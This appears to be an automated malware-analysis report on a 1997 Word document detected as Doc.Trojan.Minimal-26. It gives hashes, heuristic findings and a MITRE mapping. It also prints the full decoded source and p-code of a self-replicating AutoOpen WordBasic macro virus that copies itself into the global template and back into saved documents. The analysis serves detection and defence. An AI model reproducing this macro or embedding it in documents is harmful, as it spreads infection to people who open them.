Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f28a1cfb603d22e8…

MALICIOUS

Office (OLE)

26.0 KB Created: 1997-04-10 16:44:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: baf5e459a3cfd310ae3928aa9d0b5488 SHA-1: a4d80114b5e9c967dbed6a7eae294cd987317ab9 SHA-256: f28a1cfb603d22e8af4edc6558b30514997ac3867cb5a54300b828ab5525976e
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a legacy Word document containing a WordBasic macro named 'aUtOoPeN'. This macro is designed to copy itself and potentially other macros within the document, which is a common technique for malware to ensure execution or spread. The presence of legacy macro markers and the 'AutoOpen' heuristic further support this. No network indicators or further stages were identified.

Heuristics 4

  • ClamAV: Doc.Trojan.Minimal-26 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-26
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1618 bytes
SHA-256: 99bc5c7fc45f950d0b5696e835fb3524c58d23f3e871d075560a15525552a04d
Detection
ClamAV: Doc.Trojan.Minimal-26
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "aUtOoPeN"

Public Sub MAIN()
Dim a$
Dim b$
On Error GoTo -1: On Error GoTo Q: a$ = WordBasic.[FileName$]() + ":aUtOoPeN"
b$ = "Global:AuToOpEn": WordBasic.MacroCopy a$, b$
Q: On Error GoTo -1: On Error GoTo R: WordBasic.FileSaveAs Format:=1: WordBasic.MacroCopy b$, a$
R: 'Q[NJ]
End Sub

' Processing file: /opt/analyzer/scan_staging/baf9686f2ad84c16ab06a6c39b5f4ad9.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/aUtOoPeN - 1295 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn a
' Line #3:
' 	Dim 
' 	VarDefn B
' Line #4:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Q 
' 	BoS 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	LitStr 0x0009 ":aUtOoPeN"
' 	Add 
' 	St a$ 
' Line #5:
' 	LitStr 0x000F "Global:AuToOpEn"
' 	St B$ 
' 	BoS 0x0000 
' 	Ld a$ 
' 	Ld B$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #6:
' 	Label Q 
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError R 
' 	BoS 0x0000 
' 	LitDI2 0x0001 
' 	ParamNamed Format$ 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' 	BoS 0x0000 
' 	Ld B$ 
' 	Ld a$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #7:
' 	Label R 
' 	QuoteRem 0x0003 0x0005 "Q[NJ]"
' Line #8:
' 	EndSub